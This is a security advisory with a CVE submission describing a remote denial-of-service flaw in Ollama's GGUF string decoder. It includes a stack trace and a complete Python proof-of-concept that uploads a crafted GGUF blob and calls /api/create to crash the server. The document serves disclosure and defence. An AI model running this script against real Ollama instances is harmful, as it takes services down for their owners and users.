Severity

Score : 7.5 / 10

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A remote unauthenticated Denial-of-Service exists in Ollama’s GGUF decoder.
When a crafted GGUF file is uploaded and used during model creation, the server panics and terminates.

Key signature

  • panic: bytes.Buffer: truncation out of range
  • stack: readGGUFV1String → readGGUFString → (*gguf).Decode → server.(*Server).Create…

This affects the REST path /api/blobs (upload) + /api/create (files map) and brings down the process.

Details(root cause)

In fs/ggml/gguf.go, function readGGUFV1String reads a string length from untrusted GGUF metadata and later ends up calling bytes.(*Buffer).Truncate(n) where n is derived from that untrusted length without sufficiently validating bounds (e.g., 0 ≤ n ≤ buf.Len()), maximum size, or integer conversion overflow. As a result, the server panics:

panic: bytes.Buffer: truncation out of range
bytes.(*Buffer).Truncate(…)
github.com/ollama/ollama/fs/ggml.readGGUFV1String (gguf.go:293)
github.com/ollama/ollama/fs/ggml.readGGUFString  (gguf.go:335)
github.com/ollama/ollama/fs/ggml.(*gguf).Decode
github.com/ollama/ollama/fs/ggml.(*containerGGUF).Decode
github.com/ollama/ollama/fs/ggml.Decode
github.com/ollama/ollama/server.(*Server).Create…

This is a variant of the “length/offset validation missing” class (previously seen as makeslice: len out of range) but here it is bytes.Buffer.Truncate on the v1 path.

PoC

import os, sys, time, argparse, hashlib, requests, json
from uuid import uuid4

for k in ("HTTP_PROXY","HTTPS_PROXY","http_proxy","https_proxy"):
    os.environ.pop(k, None)

def sha256_file(p):
    h = hashlib.sha256()
    with open(p, "rb") as f:
        for ch in iter(lambda: f.read(1<<20), b""):
            h.update(ch)
    return h.hexdigest()

def wait_ready(base, timeout=10):
    t0 = time.time()
    while time.time() - t0 < timeout:
        try:
            r = requests.get(f"{base}/api/version", timeout=2)
            if r.ok: return True
        except requests.RequestException:
            pass
        time.sleep(0.5)
    return False

def main():
    ap = argparse.ArgumentParser(description="Ollama GGUF DoS PoC (/api/blobs + /api/create)")
    ap.add_argument("--base", required=True, help="ex) http://127.0.0.1:11434")
    ap.add_argument("--poc",  required=True, help="path to malicious GGUF (ex. repro_gguf_v1_trunc32.bin)")
    ap.add_argument("--name", default=None,  help="model name (default: random)")
    ap.add_argument("--chat", action="store_true", help="force loading via /api/chat after create")
    args = ap.parse_args()

    base = args.base.rstrip("/")
    model = args.name or f"crash-{uuid4()}"
    poc = args.poc

    print(f"[*] Base   : {base}")
    print(f"[*] Model  : {model}")
    print(f"[*] PoC    : {poc}")

    print("[*] waiting server /api/version ...")
    if not wait_ready(base, timeout=10):
        print("[!] server not ready (no /api/version). continue anyway...")

    dgst = sha256_file(poc)
    print(f"[*] SHA256 : {dgst}")

    with open(poc, "rb") as f:
        r = requests.post(f"{base}/api/blobs/sha256:{dgst}", data=f, timeout=30)
    print(f"[+] upload -> {r.status_code}")
    try:
        h = requests.head(f"{base}/api/blobs/sha256:{dgst}", timeout=5)
        print(f"[+] HEAD blob -> {h.status_code}")
    except requests.RequestException as e:
        print(f"[!] HEAD failed: {e}")

    create_body = {
        "model": model,
        "files": { "malicious.gguf": f"sha256:{dgst}" },
        "stream": False
    }

    try:
        r = requests.post(f"{base}/api/create", json=create_body, timeout=60)
        print(f"[+] create -> {r.status_code} {r.text[:200]!r}")
    except requests.RequestException as e:
        print(f"[!] create exception: {type(e).__name__}: {e}")

    if args.chat:
        try:
            payload = {"model": model, "messages":[{"role":"user","content":"ping?"}], "stream": False}
            c = requests.post(f"{base}/api/chat", json=payload, timeout=30)
            print(f"[+] chat -> {c.status_code} {c.text[:200]!r}")
        except requests.RequestException as e:
            print(f"[!] chat exception: {type(e).__name__}: {e}")

    try:
        ok = requests.get(f"{base}/api/version", timeout=3).ok
    except requests.RequestException:
        ok = False

if __name__ == "__main__":
    main()
Screenshot 2025-11-08 at 6 04 34 PM

Observed: server console prints panic: bytes.Buffer: truncation out of range with stack above and process terminates (subsequent /api/version fails).

Expected: the server should reject invalid GGUF with an error, not panic.

attacker cli:

[ * ] Base : http://127.0.0.1:11534

[ * ] Model : crash-51aef8f7-fde7-4580-b588-bf410d32c4bc

[ * ] PoC : repro_gguf_v1_trunc32.bin

[ * ] waiting server /api/version …

[ * ] SHA256 : 9e7fc09c33c36040c00f9f76760a6d524395ef530d2271eb50681b5ecfe6532d

[ + ] upload -> 201

[ + ] HEAD blob -> 200

click to : malice bin url

Impact

Availability loss: any instance exposing /api/blobs + /api/create to untrusted clients can be brought down.

CVE Info About MITRE e-mail

> [Suggested description]
> An issue in ollama v.0.12.10 allows a remote attacker to cause a denial
> of service via the fs/ggml/gguf.go, function readGGUFV1String reads a
> string length from untrusted GGUF metadata
>
> ------------------------------------------
>
> [Additional Information]
> CVE-2025-0312: NULL deref; This case: Panic during slice creation due to lack of length/integer validation
>
> ------------------------------------------
>
> [Vulnerability Type]
> Integer Overflow
>
> ------------------------------------------
>
> [Vendor of Product]
> https://github.com/ollama/ollama
>
> ------------------------------------------
>
> [Affected Product Code Base]
> github.com/ollama/ollama/fs/ggml/gguf.go - <=v.0.12.10 not fixed yet
>
> ------------------------------------------
>
> [Affected Component]
> github.com/ollama/ollama/fs/ggml/gguf.go, readGGUFV1String,<=v0.12.10
>
> ------------------------------------------
>
> [Attack Type]
> Remote
>
> ------------------------------------------
>
> [Impact Denial of Service]
> true
>
> ------------------------------------------
>
> [Attack Vectors]
> When a crafted GGUF file is uploaded and used during model creation, the server panics and terminates.
> Key signature
>
> panic: bytes.Buffer: truncation out of range
> stack: readGGUFV1String ? readGGUFString ? (*gguf).Decode ? server.(*Server).Create   
> This affects the REST path /api/blobs (upload) + /api/create (files map) and brings down the process.
>
> ------------------------------------------
>
> [Reference]
> https://nvd.nist.gov/vuln/detail/CVE-2025-0312
> https://nvd.nist.gov/vuln/detail/CVE-2025-0315
> https://nvd.nist.gov/vuln/detail/CVE-2025-0317
> https://github.com/ollama/ollama/issues/9820?
>
> ------------------------------------------
>
> [Discoverer]
> kimh
> 
> Use CVE-2025-66960.